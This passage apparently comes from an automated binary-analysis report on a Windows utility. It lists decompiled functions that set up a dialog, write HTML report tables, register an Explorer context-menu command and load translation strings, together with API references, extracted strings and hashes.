0x0040aeb2
0x0040aec0
0x0040aec7
0x0040aecc
0x0040aed3
0x0040aeda
0x0040aee1
0x0040aee1
0x0040aee7
0x0040aeea
0x0040aeed
0x0040aef9
0x0040aefe
0x0040af05
0x0040af07
0x0040af08
0x0040af13
0x0040af18
0x0040af19
0x0040af26
0x0040af2b
0x0040af2b
0x0040af2e
0x0040af34
0x0040af43
0x0040af44
0x0040af4f
0x0040af54
0x0040af55
0x0040af62
0x0040af67
0x0040af70
0x0040af76
0x0040af7a
0x0040af82
0x0040af88
0x0040af8d
0x0040af97
0x0040af9f
0x0040afa5
0x0040afa9
0x0040afb1
0x0040afb7
0x0040afbd

APIs

memset.MSVCRT ref: 0040AEB2
memset.MSVCRT ref: 0040AEC7
wcscpy.MSVCRT ref: 0040AEF9
_snwprintf.MSVCRT ref: 0040AF19
wcscat.MSVCRT ref: 0040AF26
_snwprintf.MSVCRT ref: 0040AF55
wcscat.MSVCRT ref: 0040AF62
wcscat.MSVCRT ref: 0040AF70
wcscat.MSVCRT ref: 0040AF82
wcscat.MSVCRT ref: 0040AF8D
wcscat.MSVCRT ref: 0040AF9F
wcscat.MSVCRT ref: 0040AFB1

Strings

color="#%s", xrefs: 0040AF44
<b>, xrefs: 0040AF7C
</font>, xrefs: 0040AFAB
</b>, xrefs: 0040AF99
<font, xrefs: 0040AEF3
size="%d", xrefs: 0040AF08

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction ID: 2e7f7f44a8c08f278b605cd2082ab28bfbf3198b566a778c3f72e8233e5ba29a
Opcode Fuzzy Hash: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction Fuzzy Hash: 2531C6B2904306A9D720EAA59D86E7E73BCDF40714F10807FF214B61C2DB7C9944D69D

Uniqueness

Uniqueness Score: -1.00%

Function 00403C03, Relevance: 30.2, APIs: 20, Instructions: 235
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00403C03(void* __eflags) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* _t88;
				void* _t108;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				intOrPtr* _t124;
				void* _t134;

				_t113 = _t108;
				E00403B3C(_t113);
				E00403B16(_t113);
				DragAcceptFiles( *(_t113 + 0x10), 1);
				 *0x40f2f0 = SetWindowLongW(GetDlgItem( *(_t113 + 0x10), 0x3fd), 0xfffffffc, E00403A73);
				E00402DDD( *(_t113 + 0x10), _t113 + 0x40);
				 *(_t124 + 0x14) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x10, 0x10, 0);
				 *((intOrPtr*)(_t124 + 0x24)) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x20, 0x20, 0);
				SendMessageW( *(_t113 + 0x10), 0x80, 0,  *(_t124 + 0x10));
				SendMessageW( *(_t113 + 0x10), 0x80, 1,  *(_t124 + 0x14));
				E0040AD85(GetDlgItem( *(_t113 + 0x10), 0x402));
				 *_t124 = 0x3ea;
				E0040AD85(GetDlgItem(??, ??));
				 *_t124 = 0x3f1;
				_t116 = GetDlgItem( *(_t113 + 0x10),  *(_t113 + 0x10));
				E004049D9(_t49, E00405B81(0x259), 0x20);
				E004049D9(_t49, E00405B81(0x25a), 0x40);
				E004049D9(_t116, E00405B81(0x25b), 0x80);
				E004049D9(_t116, E00405B81(0x25c), 0x100);
				E004049D9(_t116, E00405B81(0x25d), 0x4000);
				E004049D9(_t116, E00405B81(0x25e), 0x8000);
				_t117 = GetDlgItem( *(_t113 + 0x10), 0x3f5);
				E004049D9(_t62, E00405B81(0x26c), 0);
				E004049D9(_t62, E00405B81(0x26d), 1);
				E004049D9(_t117, E00405B81(0x26e), 2);
				E004049D9(_t117, E00405B81(0x26f), 3);
				_t134 = _t124 + 0x78;
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x400);
				_t119 = 1;
				do {
					_t17 = _t119 + 0x280; // 0x281
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t17), _t119);
					_t134 = _t134 + 0xc;
					_t119 = _t119 + 1;
				} while (_t119 <= 9);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x3fc);
				_t121 = 1;
				do {
					_t21 = _t121 + 0x294; // 0x295
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t21), _t121);
					_t134 = _t134 + 0xc;
					_t121 = _t121 + 1;
				} while (_t121 <= 3);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x407);
				_t122 = 0;
				do {
					_t25 = _t122 + 0x2bc; // 0x2bc
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t25), _t122);
					_t134 = _t134 + 0xc;
					_t122 = _t122 + 1;
				} while (_t122 <= 0xd);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x40c);
				_t123 = 0;
				do {
					_t29 = _t123 + 0x2ee; // 0x2ee
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t29), _t123);
					_t134 = _t134 + 0xc;
					_t123 = _t123 + 1;
					_t143 = _t123 - 3;
				} while (_t123 < 3);
				SendDlgItemMessageW( *(_t113 + 0x10), 0x3fd, 0xc5, 0, 0);
				E00403EC3(GetDlgItem, _t113);
				SetFocus(GetDlgItem( *(_t113 + 0x10), 0x402));
				_t88 = E00402D78(_t113, _t143);
				E00402BEE(_t113);
				return _t88;
			}

0x00403c09
0x00403c0c
0x00403c11
0x00403c1b
0x00403c3f
0x00403c4a
0x00403c6e
0x00403c96
0x00403c9a
0x00403ca6
0x00403cb3
0x00403cb8
0x00403cc5
0x00403cca
0x00403cdd
0x00403ce6
0x00403cf8
0x00403d11
0x00403d26
0x00403d3f
0x00403d54
0x00403d6d
0x00403d76
0x00403d88
0x00403d9e
0x00403db0
0x00403db5
0x00403dc4
0x00403dc8
0x00403dc9
0x00403dca
0x00403dda
0x00403ddf
0x00403de2
0x00403de3
0x00403df4
0x00403df8
0x00403df9
0x00403dfa
0x00403e0a
0x00403e0f
0x00403e12
0x00403e13
0x00403e22
0x00403e26
0x00403e28
0x00403e29
0x00403e39
0x00403e3e
0x00403e41
0x00403e42
0x00403e51
0x00403e55
0x00403e57
0x00403e58
0x00403e68
0x00403e6d
0x00403e70
0x00403e71
0x00403e71
0x00403e87
0x00403e8d
0x00403e9e
0x00403ea6
0x00403eaf
0x00403ebc

APIs

Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B5D
Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B76
Part of subcall function 00403B3C: _snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00403B16: SetDlgItemTextW.USER32 ref: 00403B34

DragAcceptFiles.SHELL32(?,00000001), ref: 00403C1B
GetDlgItem.USER32 ref: 00403C2F
SetWindowLongW.USER32 ref: 00403C39

Part of subcall function 00402DDD: GetClientRect.USER32 ref: 00402DEF
Part of subcall function 00402DDD: GetWindow.USER32(?,00000005), ref: 00402E07
Part of subcall function 00402DDD: GetWindow.USER32(00000000), ref: 00402E0A
Part of subcall function 00402DDD: GetWindow.USER32(00000000,00000002), ref: 00402E16

GetModuleHandleW.KERNEL32(00000000), ref: 00403C57
LoadImageW.USER32 ref: 00403C6A
GetModuleHandleW.KERNEL32(00000000), ref: 00403C72
LoadImageW.USER32 ref: 00403C7F
SendMessageW.USER32(?,00000080,00000000,?), ref: 00403C9A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00403CA6
GetDlgItem.USER32 ref: 00403CB0

Part of subcall function 0040AD85: GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
Part of subcall function 0040AD85: FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

GetDlgItem.USER32 ref: 00403CC2
GetDlgItem.USER32 ref: 00403CD4

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 004049D9: SendMessageW.USER32(?,00000143,00000000,?), ref: 004049F0
Part of subcall function 004049D9: SendMessageW.USER32(?,00000151,00000000,?), ref: 00404A02

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

GetDlgItem.USER32 ref: 00403D64
GetDlgItem.USER32 ref: 00403DC0
GetDlgItem.USER32 ref: 00403DF0
GetDlgItem.USER32 ref: 00403E20
GetDlgItem.USER32 ref: 00403E4F
SendDlgItemMessageW.USER32 ref: 00403E87
GetDlgItem.USER32 ref: 00403E9B
SetFocus.USER32(00000000), ref: 00403E9E

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$MessageSend$HandleModuleWindow$Load$Imagememset$AcceptAddressClientDragFilesFocusFreeLibraryLongProcRectStringText_snwprintfmemcpywcscpywcslen
String ID:
API String ID: 1038210931-0
Opcode ID: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction ID: 1ad7597cb923a57af30b7376ae6fce15a7391ca9e5b6ac25faa2013acf12c195
Opcode Fuzzy Hash: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction Fuzzy Hash: D261A6B09407087FE6207F71DC47F2B7A6CEF40714F000A3ABB46751D3DABA69158A59

Uniqueness

Uniqueness Score: -1.00%

Function 00407763, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00407763(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void _v138;
				long _v140;
				void _v242;
				char _v244;
				void _v346;
				char _v348;
				void _v452;
				void _v962;
				signed short _v964;
				void* __esi;
				void* _t87;
				wchar_t* _t109;
				intOrPtr* _t124;
				signed int _t125;
				signed int _t140;
				signed int _t153;
				intOrPtr* _t154;
				signed int _t156;
				signed int _t157;
				void* _t159;
				void* _t161;

				_t124 = __ebx;
				_v964 = _v964 & 0x00000000;
				memset( &_v962, 0, 0x1fc);
				_t125 = 0x18;
				memcpy( &_v452, L"<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t125 << 2);
				asm("movsw");
				_t153 = 0;
				_v244 = 0;
				memset( &_v242, 0, 0x62);
				_v348 = 0;
				memset( &_v346, 0, 0x62);
				_v140 = 0;
				memset( &_v138, 0, 0x62);
				_t161 = _t159 + 0x3c;
				_t87 =  *((intOrPtr*)( *__ebx + 0x14))();
				_v16 =  *((intOrPtr*)(__ebx + 0x2d4));
				if(_t87 != 0xffffffff) {
					_push(E0040ADC0(_t87,  &_v964));
					_push(L" bgcolor=\"%s\"");
					_push(0x32);
					_push( &_v244);
					L0040B1EC();
					_t161 = _t161 + 0x18;
				}
				E00407343(_t124, _a4, L"<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t153;
				if( *((intOrPtr*)(_t124 + 0x2c)) > _t153) {
					while(1) {
						_t156 =  *( *((intOrPtr*)(_t124 + 0x30)) + _v8 * 4);
						_v12 = _t156;
						_t157 = _t156 * 0x14;
						if( *((intOrPtr*)(_t157 +  *((intOrPtr*)(_t124 + 0x40)) + 8)) != _t153) {
							wcscpy( &_v140, L" nowrap");
						}
						_v32 = _v32 | 0xffffffff;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _t153;
						_t154 = _a8;
						 *((intOrPtr*)( *_t124 + 0x34))(6, _v8, _t154,  &_v32);
						E0040ADC0(_v32,  &_v348);
						E0040ADF1( *((intOrPtr*)( *_t154))(_v12,  *((intOrPtr*)(_t124 + 0x60))),  *(_t124 + 0x64));
						 *((intOrPtr*)( *_t124 + 0x50))( *(_t124 + 0x64), _t154, _v12);
						if( *((intOrPtr*)( *_t124 + 0x18))() == 0xffffffff) {
							wcscpy( *(_t124 + 0x68),  *(_t157 + _v16 + 0x10));
						} else {
							_push( *(_t157 + _v16 + 0x10));
							_push(E0040ADC0(_t106,  &_v964));
							_push(L"<font color=\"%s\">%s</font>");
							_push(0x2000);
							_push( *(_t124 + 0x68));
							L0040B1EC();
							_t161 = _t161 + 0x14;
						}
						_t109 =  *(_t124 + 0x64);
						_t140 =  *_t109 & 0x0000ffff;
						if(_t140 == 0 || _t140 == 0x20) {
							wcscat(_t109, L"&nbsp;");
						}
						E0040AE90( &_v32,  *((intOrPtr*)(_t124 + 0x6c)),  *(_t124 + 0x64));
						_push( *((intOrPtr*)(_t124 + 0x6c)));
						_push( &_v140);
						_push( &_v348);
						_push( *(_t124 + 0x68));
						_push( &_v244);
						_push( &_v452);
						_push(0x2000);
						_push( *((intOrPtr*)(_t124 + 0x60)));
						L0040B1EC();
						_t161 = _t161 + 0x28;
						E00407343(_t124, _a4,  *((intOrPtr*)(_t124 + 0x60)));
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t124 + 0x2c))) {
							goto L14;
						}
						_t153 = 0;
					}
				}
				L14:
				E00407343(_t124, _a4, L"</table><p>");
				return E00407343(_t124, _a4, L"\r\n");
			}

0x00407763
0x0040776c
0x00407784
0x0040778b
0x00407797
0x00407799
0x0040779b
0x004077a7
0x004077ae
0x004077bd
0x004077c4
0x004077d3
0x004077da
0x004077e1
0x004077e6
0x004077f2
0x004077f5
0x00407804
0x00407805
0x00407810
0x00407812
0x00407813
0x00407818
0x00407818
0x00407825
0x0040782d
0x00407830
0x0040783a
0x00407840
0x00407846
0x00407849
0x00407850
0x0040785e
0x00407864
0x00407867
0x0040786b
0x0040786f
0x00407877
0x0040787a
0x00407885
0x00407892
0x004078a8
0x004078b8
0x004078c5
0x004078ff
0x004078c7
0x004078ca
0x004078dd
0x004078de
0x004078e3
0x004078e8
0x004078eb
0x004078f0
0x004078f0
0x00407906
0x00407909
0x0040790f
0x0040791d
0x00407923
0x0040792d
0x00407932
0x0040793b
0x00407942
0x00407943
0x0040794c
0x00407953
0x00407954
0x00407959
0x0040795c
0x00407961
0x0040796c
0x00407971
0x0040797a
0x00000000
0x00000000
0x00407838
0x00407838
0x0040783a
0x00407980
0x0040798a
0x004079a1

APIs

memset.MSVCRT ref: 00407784
memset.MSVCRT ref: 004077AE
memset.MSVCRT ref: 004077C4
memset.MSVCRT ref: 004077DA
_snwprintf.MSVCRT ref: 00407813
wcscpy.MSVCRT ref: 0040785E
_snwprintf.MSVCRT ref: 004078EB
wcscat.MSVCRT ref: 0040791D

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

wcscpy.MSVCRT ref: 004078FF
_snwprintf.MSVCRT ref: 0040795C

Strings

<font color="%s">%s</font>, xrefs: 004078DE
</table><p>, xrefs: 00407980
 , xrefs: 00407917
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040778C
<table border="1" cellpadding="5">, xrefs: 0040781B
bgcolor="%s", xrefs: 00407805
nowrap, xrefs: 00407858

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemset$wcscpy$wcscat
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1607361635-601624466
Opcode ID: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction ID: c59e53cc54c64df10e6b193e6b6ea7c08fa255db16bc08a9aa92b01e8cbfba7b
Opcode Fuzzy Hash: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction Fuzzy Hash: C8618E31940208EFDF14AF95CC85EAE7B79FF44310F1041AAF905BA2D2DB34AA54DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00407B5D, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00407B5D(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a24) {
				void _v514;
				char _v516;
				void _v1026;
				long _v1028;
				void _v1538;
				char _v1540;
				void _v2050;
				char _v2052;
				char _v2564;
				char _v35332;
				char _t51;
				intOrPtr* _t54;
				void* _t61;
				intOrPtr* _t73;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t81;

				E0040B550(0x8a00, __ecx);
				_v2052 = 0;
				memset( &_v2050, 0, 0x1fc);
				_v1540 = 0;
				memset( &_v1538, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t79 = _t78 + 0x24;
				if(_a20 != 0xffffffff) {
					_push(E0040ADC0(_a20,  &_v2564));
					_push(L" bgcolor=\"%s\"");
					_push(0xff);
					_push( &_v2052);
					L0040B1EC();
					_t79 = _t79 + 0x18;
				}
				if(_a24 != 0xffffffff) {
					_push(E0040ADC0(_a24,  &_v2564));
					_push(L"<font color=\"%s\">");
					_push(0xff);
					_push( &_v1540);
					L0040B1EC();
					wcscpy( &_v1028, L"</font>");
					_t79 = _t79 + 0x20;
				}
				_push( &_v2052);
				_push(L"<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n");
				_push(0x3fff);
				_push( &_v35332);
				L0040B1EC();
				_t80 = _t79 + 0x10;
				E00407343(_a4, _a8,  &_v35332);
				_t51 = _a16;
				if(_t51 > 0) {
					_t73 = _a12 + 4;
					_a20 = _t51;
					do {
						_v516 = 0;
						memset( &_v514, 0, 0x1fc);
						_t54 =  *_t73;
						_t81 = _t80 + 0xc;
						if( *_t54 == 0) {
							_v516 = 0;
						} else {
							_push(_t54);
							_push(L" width=\"%s\"");
							_push(0xff);
							_push( &_v516);
							L0040B1EC();
							_t81 = _t81 + 0x10;
						}
						_push( &_v1028);
						_push( *((intOrPtr*)(_t73 - 4)));
						_push( &_v1540);
						_push( &_v516);
						_push(L"<th%s>%s%s%s\r\n");
						_push(0x3fff);
						_push( &_v35332);
						L0040B1EC();
						_t80 = _t81 + 0x1c;
						_t61 = E00407343(_a4, _a8,  &_v35332);
						_t73 = _t73 + 8;
						_t36 =  &_a20;
						 *_t36 = _a20 - 1;
					} while ( *_t36 != 0);
					return _t61;
				}
				return _t51;
			}

0x00407b65
0x00407b7c
0x00407b83
0x00407b91
0x00407b98
0x00407ba6
0x00407bad
0x00407bb2
0x00407bb9
0x00407bca
0x00407bcb
0x00407bd6
0x00407bdb
0x00407bdc
0x00407be1
0x00407be1
0x00407be8
0x00407bf9
0x00407bfa
0x00407c05
0x00407c0a
0x00407c0b
0x00407c1c
0x00407c21
0x00407c21
0x00407c2a
0x00407c2b
0x00407c36
0x00407c3b
0x00407c3c
0x00407c41
0x00407c51
0x00407c56
0x00407c5b
0x00407c65
0x00407c68
0x00407c6b
0x00407c74
0x00407c7b
0x00407c80
0x00407c82
0x00407c88
0x00407ca6
0x00407c8a
0x00407c8a
0x00407c8b
0x00407c96
0x00407c9b
0x00407c9c
0x00407ca1
0x00407ca1
0x00407cb3
0x00407cb4
0x00407cbd
0x00407cc4
0x00407cc5
0x00407cd0
0x00407cd5
0x00407cd6
0x00407cdb
0x00407ceb
0x00407cf0
0x00407cf3
0x00407cf3
0x00407cf3
0x00000000
0x00407cfc
0x00407d00

APIs

memset.MSVCRT ref: 00407B83
memset.MSVCRT ref: 00407B98
memset.MSVCRT ref: 00407BAD
_snwprintf.MSVCRT ref: 00407BDC
_snwprintf.MSVCRT ref: 00407C0B
wcscpy.MSVCRT ref: 00407C1C
_snwprintf.MSVCRT ref: 00407C3C
memset.MSVCRT ref: 00407C7B
_snwprintf.MSVCRT ref: 00407C9C
_snwprintf.MSVCRT ref: 00407CD6

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

Strings

</font>, xrefs: 00407C16
<table border="1" cellpadding="5"><tr%s>, xrefs: 00407C2B
width="%s", xrefs: 00407C8B
<th%s>%s%s%s, xrefs: 00407CC5
<font color="%s">, xrefs: 00407BFA
bgcolor="%s", xrefs: 00407BCB

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction ID: 17ce3237ebe69143205905a5a122d9f10e08837d2ebaecd13bb40ff2a02a5a8b
Opcode Fuzzy Hash: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction Fuzzy Hash: EA413371D40219AAEB20EB55CC86FAB737CFF45304F0440BAB918B6191D774AB948FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404415, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404415(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v24;
				intOrPtr _v28;
				short _v32;
				void _v2078;
				signed int _v2080;
				void _v4126;
				char _v4128;
				void _v6174;
				char _v6176;
				void _v8222;
				char _v8224;
				signed int _t49;
				short _t55;
				intOrPtr _t56;
				int _t73;
				intOrPtr _t78;

				_t76 = __ecx;
				E0040B550(0x201c, __ecx);
				_t73 = 0;
				if(E004043F8( &_v8, 0x2001f) != 0) {
					L6:
					return _t73;
				}
				_v6176 = 0;
				memset( &_v6174, 0, 0x7fe);
				_t78 = _a4;
				_push(_t78 + 0x20a);
				_push(_t78);
				_push(L"%s\\shell\\%s\\command");
				_push(0x3ff);
				_push( &_v6176);
				L0040B1EC();
				if(E00409ECC(_t76, _v8,  &_v6176,  &_v12) == 0) {
					_t49 = E00409EF4(_v12, 0x40c4e8, _t78 + 0x414);
					asm("sbb ebx, ebx");
					_t73 =  ~_t49 + 1;
					RegCloseKey(_v12);
					_v2080 = _v2080 & 0x00000000;
					memset( &_v2078, 0, 0x7fe);
					E00404AD9( &_v2080);
					if(_v2078 == 0x3a) {
						_t55 =  *L"C:\\"; // 0x3a0043
						_v32 = _t55;
						_t56 =  *0x40ccdc; // 0x5c
						_v28 = _t56;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v32 = _v2080;
						if(GetDriveTypeW( &_v32) == 3) {
							_v4128 = 0;
							memset( &_v4126, 0, 0x7fe);
							_v8224 = 0;
							memset( &_v8222, 0, 0x7fe);
							_push(_a4 + 0x20a);
							_push(_a4);
							_push(L"%s\\shell\\%s");
							_push(0x3ff);
							_push( &_v8224);
							L0040B1EC();
							_push( &_v2080);
							_push(L"\"%s\",0");
							_push(0x3ff);
							_push( &_v4128);
							L0040B1EC();
							E00409F1A(_t76, _v8,  &_v8224,  &_v4128);
						}
					}
				}
				RegCloseKey(_v8);
				goto L6;
			}

0x00404415
0x0040441d
0x0040442c
0x00404435
0x004045b3
0x004045b7
0x004045b7
0x0040444b
0x00404452
0x00404457
0x00404460
0x00404461
0x00404462
0x0040446d
0x00404472
0x00404473
0x00404490
0x004044a5
0x004044b4
0x004044b6
0x004044b7
0x004044bd
0x004044cf
0x004044db
0x004044eb
0x004044f1
0x004044f6
0x004044f9
0x004044fe
0x00404506
0x00404507
0x00404508
0x00404510
0x00404521
0x00404532
0x00404539
0x00404547
0x0040454e
0x0040455b
0x0040455c
0x00404564
0x0040456f
0x00404570
0x00404571
0x0040457c
0x0040457d
0x00404588
0x00404589
0x0040458a
0x004045a0
0x004045a5
0x00404521
0x004044eb
0x004045ab
0x00000000

APIs

memset.MSVCRT ref: 00404452
_snwprintf.MSVCRT ref: 00404473

Part of subcall function 00409ECC: RegCreateKeyExW.ADVAPI32(?,?,00000000,0040C4E8,00000000,000F003F,00000000,?,?,?,?,0040448B,?,?,?,?), ref: 00409EEC

RegCloseKey.ADVAPI32(?,?,?,?,0002001F,?,?,0040390E,?), ref: 004045AB

Part of subcall function 00409EF4: wcslen.MSVCRT ref: 00409EF8
Part of subcall function 00409EF4: RegSetValueExW.ADVAPI32(004044AA,004044AA,00000000,00000001,004044AA,?,004044AA,?,0040C4E8,?,?,?,?,0002001F), ref: 00409F13

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,0002001F,?,?,0040390E,?), ref: 004044B7
memset.MSVCRT ref: 004044CF

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

GetDriveTypeW.KERNEL32(?), ref: 00404518
memset.MSVCRT ref: 00404539
memset.MSVCRT ref: 0040454E
_snwprintf.MSVCRT ref: 00404571
_snwprintf.MSVCRT ref: 0040458A

Part of subcall function 00409F1A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409F57

Strings

"%s",0, xrefs: 0040457D
%s\shell\%s, xrefs: 00404564
C:\, xrefs: 004044F1
%s\shell\%s\command, xrefs: 00404462
:, xrefs: 004044E3

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Close_snwprintf$CreateDriveFileModuleNameTypeValuewcslen
String ID: "%s",0$%s\shell\%s$%s\shell\%s\command$:$C:\
API String ID: 486436031-734527199
Opcode ID: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction ID: 27235bf79c6ca8476a2d09a82ed3c32274241934b1c07e7e02f5f4f3263a5ff1
Opcode Fuzzy Hash: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction Fuzzy Hash: A4410EB294021CFADB20DB95CC85DDFB6BCEF44304F0084B6B608F2191E7789B559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040645E, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040645E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				void* __edi;
				void* _t27;
				void* _t38;
				void* _t44;

				E0040B550(0x142c, __ecx);
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_pop(_t44);
				E00405AA7( &_v5164);
				_t27 = E0040B04D( &_v5164,  &_v532);
				_t61 = _t27;
				if(_t27 != 0) {
					wcscpy( &_v1044,  &_v4116);
					_pop(_t44);
				}
				wcscpy(0x40fb90, _a8);
				wcscpy(0x40fda0, L"general");
				E00405FAC(_t61, L"TranslatorName", 0x40c4e8, 0);
				E00405FAC(_t61, L"TranslatorURL", 0x40c4e8, 0);
				E00405FAC(_t61, L"Version",  &_v1044, 1);
				E00405FAC(_t61, L"RTL", "0", 0);
				EnumResourceNamesW(_a4, 4, E0040620E, 0);
				EnumResourceNamesW(_a4, 5, E0040620E, 0);
				wcscpy(0x40fda0, L"strings");
				_t38 = E00406337(_t44, _t61, _a4);
